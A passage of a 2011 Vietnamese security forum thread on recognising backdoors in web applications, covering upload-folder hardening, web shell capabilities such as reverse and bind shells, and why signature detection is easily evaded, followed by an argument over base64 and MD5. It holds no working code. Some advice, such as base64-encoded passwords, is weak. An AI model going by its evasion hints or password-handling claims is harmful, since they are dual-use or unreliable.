10/06/2011 10:38:17 (+0700) | #23 | 239997 |
|
chiro8x
Member
|
0 |
|
|
Joined: 26/09/2010 00:38:37
Messages: 661
Location: /home/chiro8x
Offline
|
|
protectHat wrote:
smile_sad wrote:
Theo mình nghĩ thông thường các folder cho phép upload chủ yếu là images,thumbs... Vậy nếu backdoor upload vào đây thì chắc nó là .php, .asp, .aspx...
Mình rành linux hơn windows 1 chút nên mình xin nói về linux nhé.
Ý kiến của mình là tạo 1 file .htaccess remove toàn bộ handler .php. Rồi chmod cái .htaccess này sao cho người ta không override nó được.
Tuy nhiên nếu mà source code có quá nhiều folder cho phép upload, việc lạm dụng .htaccess sẽ ảnh hưởng đến performance của hệ thống. Do đó nếu bạn thành thạo code thì có lẽ phải can thiệp vào code để xứ lí thôi.
Ở trên mình đưa ra tình huống là cái form upload đó đã chỉ định upload vào 1 folder trong sourcecode. Nhưng nếu attacker tạo mới 1 folder sau đó ném backdoor vào thì phải làm sao?
Mọi người tiếp tục thảo luận nhé.
backdoor thường có đuôi là .jpg bạn ạ ;
Dùng firephp là cách dễ nhất, đơn giản nhất đó. Nhưng mà dùng NULL thì dính backdoor là thường
Ưm bạn này nói chuẩn luôn :"< việc chmod file và thư mục sang read only cũng không giải quyết được, vì chúng được include vào source. Hoặc đọc -> giải mã -> eval(). Nói chung để lọc ra được backdoor không phải dễ. Nhất là các ứng dụng lớn có nhiều module (. |
|
while(1){} |
|
|
|
[Discussion] Nhận biết back-door của ứng dụng web |
10/06/2011 11:43:00 (+0700) | #24 | 240016 |
|
chube
Member
|
0 |
|
|
Joined: 22/10/2010 02:34:04
Messages: 105
Location: ░░▒▒▓▓██
Offline
|
|
- Thông thường attacker có thể theo mô hình :
Internet --> Firewall --> Vulnerable Web Application--> Web Server(IIS, Apache, Tomcat...)
|
Malicious Application added by attacker.
(jsp,asp,php etc).
Và cuối cùng vào database
- Firewall làm nhiệm vụ cản lọc nên ít quan tâm đến lưu lượng mạng, nghĩa là vấn đề security giờ đây sẽ phụ thuộc vào phần mềm Antivirus.
- Antivirus dựa vào nhiều kĩ thuật để detect backdoors trong tầng ứng dụng web mà phổ biến là 2 kĩ thuật
1/ Phát hiện dựa vào Signature ( Signature Based Detection )
- kĩ thuật này làm việc tốt với các loại sâu có khả năng phát tán và lây lan nhanh nhưng trong trường hợp này, đối tượng là web backdoors và nó không có khả năng này mà đặc thù của nó là tập trung vào 1 đối tượng server cụ thể nên hầu hết các signature của các loại backdoor này vẫn còn thiếu và chưa hiệu quả.
- Signature của web backdoors không xây dựng theo cấu trúc như PEs mà thay vào đó chúng sử dụng các String và Function call. Chỉ cần thay đổi tên function call, string hay thứ tự của chương trình là đủ để bypass kĩ thuật này.
2/ Phát hiện dựa vào Heuristics :
- Đây là kĩ thuật phát hiện dựa vào việc xử lý động ( dynamic analysis) và khi làm việc trên Web Application thì khả năng nhận diện nhầm sẽ cao do Web Application thường xuyên trải qua cập nhật và thay đổi nên phương pháp này không thể sử dụng ở đây, đối tượng ở đây là Web Scripts, là những đoạn mã thông dịch. Việc thực hiện tự động hoá cho việc phân loại các mối đe doạ và rủi ro của ứng dụng web thì lại không thể.
- Đặc điểm chung của phần đông web backdoors sẽ có các tính năng :
1) Thực hiện các lệnh hệ thống trên web server
2) Traverse Directories, xem/sửa file và các chương trình
3) Upload file - hữu ích trong việc leo thang để chiếm quyền điều khiển
4) Dowload các tài liệu hoặc các file.
5) Sửa đổi registry
6) Thực hiện Reverse Connect, Bind Shell
7) Quản lý database.
- Nhìn chung quá trình nhận biết backdoors của các ứng dụng web phải dựa theo đặc điểm , điểm yếu trên ứng dụng web của mình ( bao gồm source code...etc) ,chia sẽ và truyền đạt thông tin lẫn nhau giữa các quản trị viên, không nên phụ thuộc nhiều vào Antivirus , cài đặt tường lửa thương mại tin cậy, thường xuyên cập nhật thông tin trên các diễn đàn để thu thập và chọn lọc các kĩ thuật khác nhau để bảo vệ ứng dụng web.
- Những cách khác thì tham khảo các bài viết phía trên vì khá đầy đủ và chi tiết. |
|
.-/ / )
|/ / /
/.' /
// .---.
/ .--._\ Awesome Season to hack :') Dont you think so? xD
/ `--' /
/ .---'
/ .'
/ |
|
|
|
[Discussion] Nhận biết back-door của ứng dụng web |
10/06/2011 12:52:00 (+0700) | #25 | 240035 |
|
chiro8x
Member
|
0 |
|
|
Joined: 26/09/2010 00:38:37
Messages: 661
Location: /home/chiro8x
Offline
|
|
Nếu như nhận biết backdoor theo hành vi của chúng có vẻ là lựa chọn khôn ngoan hơn với sử dụng phương pháp so sánh text content. Nếu có chương trình thực thi các file script và phân tích nó như vậy việc chống backdoor sẽ tốt hơn. |
|
while(1){} |
|
|
|
[Discussion] Nhận biết back-door của ứng dụng web |
10/06/2011 19:14:01 (+0700) | #26 | 240187 |
dacminhm
Member
|
0 |
|
|
Joined: 03/06/2010 20:28:34
Messages: 8
Offline
|
|
chiro8x wrote:
Nếu như nhận biết backdoor theo hành vi của chúng có vẻ là lựa chọn khôn ngoan hơn với sử dụng phương pháp so sánh text content. Nếu có chương trình thực thi các file script và phân tích nó như vậy việc chống backdoor sẽ tốt hơn.
Giữa việc nói và việc làm là 2 việc khác nhau, Bạn professional có chương trình hay phương pháp nào như thế thì nói rõ ra, chứ nói chung chung thì ai cũng nói được chẳng cần đến professional làm gì.
Quên mất phải nói điều nữa, bạn đừng chê tôi là newmem vì đây là topic thảo luận chứ không phải là topic hướng dẫn. bạn thông cảm cho, có gì sai thì nói ra để anh em sửa chữa thì mới là thảo luận
Thiếu nút thank bạn vì đã làm mình phải xem lại base64(sha-1) với md5 khác nhau thế nào? Và kết nhất cái câu:
Hix ! thực sự bạn nguy hiểm quá, nên phát biểu nhữn điều trong tầm hiểu biết của mình nếu không người ta cười cho đấy :"<
|
|
|
|
|
[Discussion] Nhận biết back-door của ứng dụng web |
10/06/2011 19:21:42 (+0700) | #27 | 240192 |
|
chiro8x
Member
|
0 |
|
|
Joined: 26/09/2010 00:38:37
Messages: 661
Location: /home/chiro8x
Offline
|
|
dacminhm wrote:
chiro8x wrote:
Nếu như nhận biết backdoor theo hành vi của chúng có vẻ là lựa chọn khôn ngoan hơn với sử dụng phương pháp so sánh text content. Nếu có chương trình thực thi các file script và phân tích nó như vậy việc chống backdoor sẽ tốt hơn.
Giữa việc nói và việc làm là 2 việc khác nhau, Bạn professional có chương trình hay phương pháp nào như thế thì nói rõ ra, chứ nói chung chung thì ai cũng nói được chẳng cần đến professional làm gì.
Quên mất phải nói điều nữa, bạn đừng chê tôi là newmem vì đây là topic thảo luận chứ không phải là topic hướng dẫn. bạn thông cảm cho, có gì sai thì nói ra để anh em sửa chữa thì mới là thảo luận
Thiếu nút thank bạn vì đã làm mình phải xem lại base64(sha-1) với md5 khác nhau thế nào? Và kết nhất cái câu:
Hix ! thực sự bạn nguy hiểm quá, nên phát biểu nhữn điều trong tầm hiểu biết của mình nếu không người ta cười cho đấy :"<
MD5 & SHA1 là thuật toán băm chuổi, tạo ra mội chuổi mới và duy nhất từ giá trị ban đầu. Vì vậy SHA1 và MD5 sử dụng để mã hoá và lưu trử những dữ liệu quan trọng nhưng không muốn người khác dịch ngược. Tớ nhắc đến BASE64 vì BASE64 là mã hoá 2 chiều và cho phép decode. Còn bạn thì lại muốn dùng MD5 và SHA1 để mã hoá URL. Sự thiếu hiểu biết thật đáng sợ, và sẽ có nhiều người chết vì nó. Vui lòng tra wikipedia và google để biết thêm chi tiết.
Tôi không PROFESSIONAL như bạn nói nhưng nếu là bạn tôi sẽ cảm thấy hổ thẹn vì những hiều biết của bản thân cho tới nơi tới chốn. Sự thiếu hiểu biết của bạn làm bạn trở nên hung hăng và nguy hiểm. Tôi sẽ không PM bạn nửa bạn có thể xem đó là một sự coi khinh. |
|
while(1){} |
|
|
|
[Discussion] Nhận biết back-door của ứng dụng web |
10/06/2011 22:51:19 (+0700) | #28 | 240239 |
FaL
Moderator
|
Joined: 14/04/2006 09:31:18
Messages: 1232
Offline
|
|
chiro8x, dacminhm:
Thoải mái đi các bạn, chính mình cũng chưa đạt đến tầm để rà soát, kiểm tra hoàn toàn một source code. Vì thật sự bây giờ source code không đơn giản, cần phải hiểu biết ngôn ngữ, kiến trúc, triết lý,... mới có thể thực hiện công việc đó. Mình tạo ra chủ đề này để học hỏi thêm mọi người về khía cạnh bảo mật, bên cạnh đó cũng để một số bạn chưa quan tâm đúng mức đến vấn đề dùng source code lạ biết được những nguy cơ còn tồn tại.
|
|
Hãy giữ một trái tim nóng và một cái đầu lạnh |
|
|
|
[Discussion] Nhận biết back-door của ứng dụng web |
11/06/2011 08:05:55 (+0700) | #29 | 240265 |
dacminhm
Member
|
0 |
|
|
Joined: 03/06/2010 20:28:34
Messages: 8
Offline
|
|
FaL wrote:
chiro8x, dacminhm:
Thoải mái đi các bạn, chính mình cũng chưa đạt đến tầm để rà soát, kiểm tra hoàn toàn một source code. Vì thật sự bây giờ source code không đơn giản, cần phải hiểu biết ngôn ngữ, kiến trúc, triết lý,... mới có thể thực hiện công việc đó. Mình tạo ra chủ đề này để học hỏi thêm mọi người về khía cạnh bảo mật, bên cạnh đó cũng để một số bạn chưa quan tâm đúng mức đến vấn đề dùng source code lạ biết được những nguy cơ còn tồn tại.
Tôi tự biết từ xưa đến giờ chưa quan tâm đến bảo mật,cứ làm rồi vứt đấy nên mới tự kêu là newmem vậy mà có người kêu newmem không được phát biểu thì hết biết rồi. Tôi cũng đâu dư time cãi nhau với người chê người khác mà chính mình chẳng nêu ra lý do, cách giải quyết thuyết phục cả. Đến cuối cùng thì lại quay về cái tôi nói là phân tích tất cả các url mà server mình kết nối!
Fal để mình giải thích với bạn sao cứ dây dưa mãi
Tại sao gọi base64 là mã hoá 2 chiều là vì:
- base64_encode('password') --->abcde
- base64_decode('abcde') --->password
Khi kiểm tra login có 2 cách:
If base64_decode($pass)=Pass trong database =>passed (pass trong database text)
If base64_encode($pass)=Pass trong database ----> passed (pass trong database là base64)
Với MD5 thì chỉ có hàm md5('password')-->7041159938a3c020ab037179de2fac52
=> Chính vì lý do này mà có người nghĩ MD5 chỉ đựoc dùng cho mã hoá password. Tuy MD5 là mã hoá 1 chiều nhưng ta có thể làm như sau: khi mã hoá được đoạn text thì lưu vào database cả đoạn MD5 7041159938a3c020ab037179de2fac52 cùng normal text có thể ánh xạ cho nhau được (cái này thì tuỳ người làm, có thể chia nhỏ cho vào nhiều table khác nhau hay thế nào thì kệ không bàn ở đây). Như vậy khi cần decrypt chỉ cần phép so sánh là xong.
Việc này thì nhiều trang decrypt md5 hay làm ví dụ: http://www.md5decrypter.com/ . |
|
|
|
|
|